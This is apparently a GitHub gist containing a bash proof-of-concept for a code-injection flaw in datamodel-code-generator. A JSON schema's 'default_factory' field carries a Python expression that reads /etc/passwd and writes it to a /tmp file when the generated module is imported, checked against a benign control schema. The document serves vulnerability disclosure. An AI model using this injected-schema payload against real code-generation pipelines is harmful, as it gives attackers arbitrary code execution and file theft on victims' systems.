Skip to content

Instantly share code, notes, and snippets.

@thegr1ffyn
Created June 7, 2026 18:46
Show Gist options
  • Select an option

  • Save thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf to your computer and use it in GitHub Desktop.

Select an option

Save thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf to your computer and use it in GitHub Desktop.
Code injection via attacker-controlled `default_factory` schema field. RCE on `import` of the generated module.
#!/usr/bin/env bash
# Self-contained PoC — datamodel-code-generator
# Code injection via attacker-controlled `default_factory` schema field.
# RCE on `import` of the generated module. No special CLI flags required.
#
# Usage:
# ./exploit.sh
#
# What it does:
# 1. Creates a private venv under a tempdir
# 2. pip install datamodel-code-generator
# 3. Writes a CONTROL schema (benign) and an INJECTION schema
# 4. Generates Python from each, imports each, checks the canary
#
# Impact demonstration: reads /etc/passwd (world-readable) and writes the
# contents to /tmp/dmcg_passwd.txt. No network, no destructive ops, no shell
# spawn. The canary file and the temp venv are removed at the end.
set -euo pipefail
WORK="$(mktemp -d -t dmcg_new1_XXXXXX)"
VENV="$WORK/venv"
CANARY="/tmp/dmcg_passwd.txt"
cleanup() {
rm -rf "$WORK"
rm -f "$CANARY"
}
trap cleanup EXIT
echo "[*] Work dir: $WORK"
echo "[*] Creating venv at $VENV"
python3 -m venv "$VENV"
"$VENV/bin/pip" install --quiet --upgrade pip
"$VENV/bin/pip" install --quiet datamodel-code-generator
CODEGEN="$VENV/bin/datamodel-codegen"
PY="$VENV/bin/python"
echo "[*] datamodel-codegen: $($CODEGEN --version)"
echo
# ---------- control schema ----------
cat > "$WORK/control.json" <<'JSON'
{
"$schema": "http://json-schema.org/draft-07/schema#",
"title": "ControlModel",
"type": "object",
"properties": {
"items": {
"type": "array",
"items": { "type": "string" }
}
}
}
JSON
# ---------- injection schema ----------
# The "default_factory" key carries a Python expression. The expression is a
# 2-tuple: element [0] reads /etc/passwd and writes it to the canary file,
# element [1] is a `lambda: []` so the model's default_factory remains a
# valid zero-arg callable — the generated class stays usable. Indexing [1]
# selects the lambda for default_factory, but evaluating the tuple already
# executed the read side-effect at `import` time.
cat > "$WORK/inject.json" <<'JSON'
{
"$schema": "http://json-schema.org/draft-07/schema#",
"title": "InjectModel",
"type": "object",
"properties": {
"items": {
"type": "array",
"items": { "type": "string" },
"default_factory": "(open('/tmp/dmcg_passwd.txt','w').write(open('/etc/passwd').read()), lambda: [])[1]"
}
}
}
JSON
# ---------- 1. control ----------
echo "=================================================================="
echo "[1] CONTROL — benign schema → pydantic_v2.BaseModel"
echo "=================================================================="
rm -f "$CANARY"
"$CODEGEN" --input "$WORK/control.json" --input-file-type jsonschema \
--output "$WORK/control_out.py" --output-model-type pydantic_v2.BaseModel \
>/dev/null 2>&1
echo "--- generated $WORK/control_out.py ---"
sed 's/^/ /' "$WORK/control_out.py"
echo "--- import ---"
(cd "$WORK" && "$PY" -c "import control_out; print(' imported OK')")
if [[ -f "$CANARY" ]]; then
echo "[!] UNEXPECTED: canary exists after control run"
else
echo "[+] CONTROL clean: no canary file"
fi
echo
# ---------- 2. injection ----------
echo "=================================================================="
echo "[2] INJECTION — malicious schema → pydantic_v2.BaseModel"
echo "=================================================================="
rm -f "$CANARY"
"$CODEGEN" --input "$WORK/inject.json" --input-file-type jsonschema \
--output "$WORK/inject_out.py" --output-model-type pydantic_v2.BaseModel \
2>&1 | grep -v FutureWarning | grep -v warn_deprecated || true
echo "--- generated $WORK/inject_out.py ---"
sed 's/^/ /' "$WORK/inject_out.py"
echo "--- import ---"
(cd "$WORK" && "$PY" -c "import inject_out; print(' imported OK')")
if [[ -f "$CANARY" ]]; then
echo "[+] CONFIRMED RCE: $CANARY was written during 'import inject_out'"
echo " --- first 3 lines of $CANARY (proves /etc/passwd was read) ---"
head -3 "$CANARY" | sed 's/^/ /'
else
echo "[-] NOT REPRODUCED: canary file missing"
exit 2
fi
echo
echo "=================================================================="
echo "Summary"
echo "=================================================================="
echo " CONTROL : codegen + import clean, no canary."
echo " INJECTION : codegen + import succeed, canary file written from"
echo " /etc/passwd content during 'import' of the generated"
echo " module — proves arbitrary code execution at import"
echo " time via attacker-controlled schema, no special flags."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment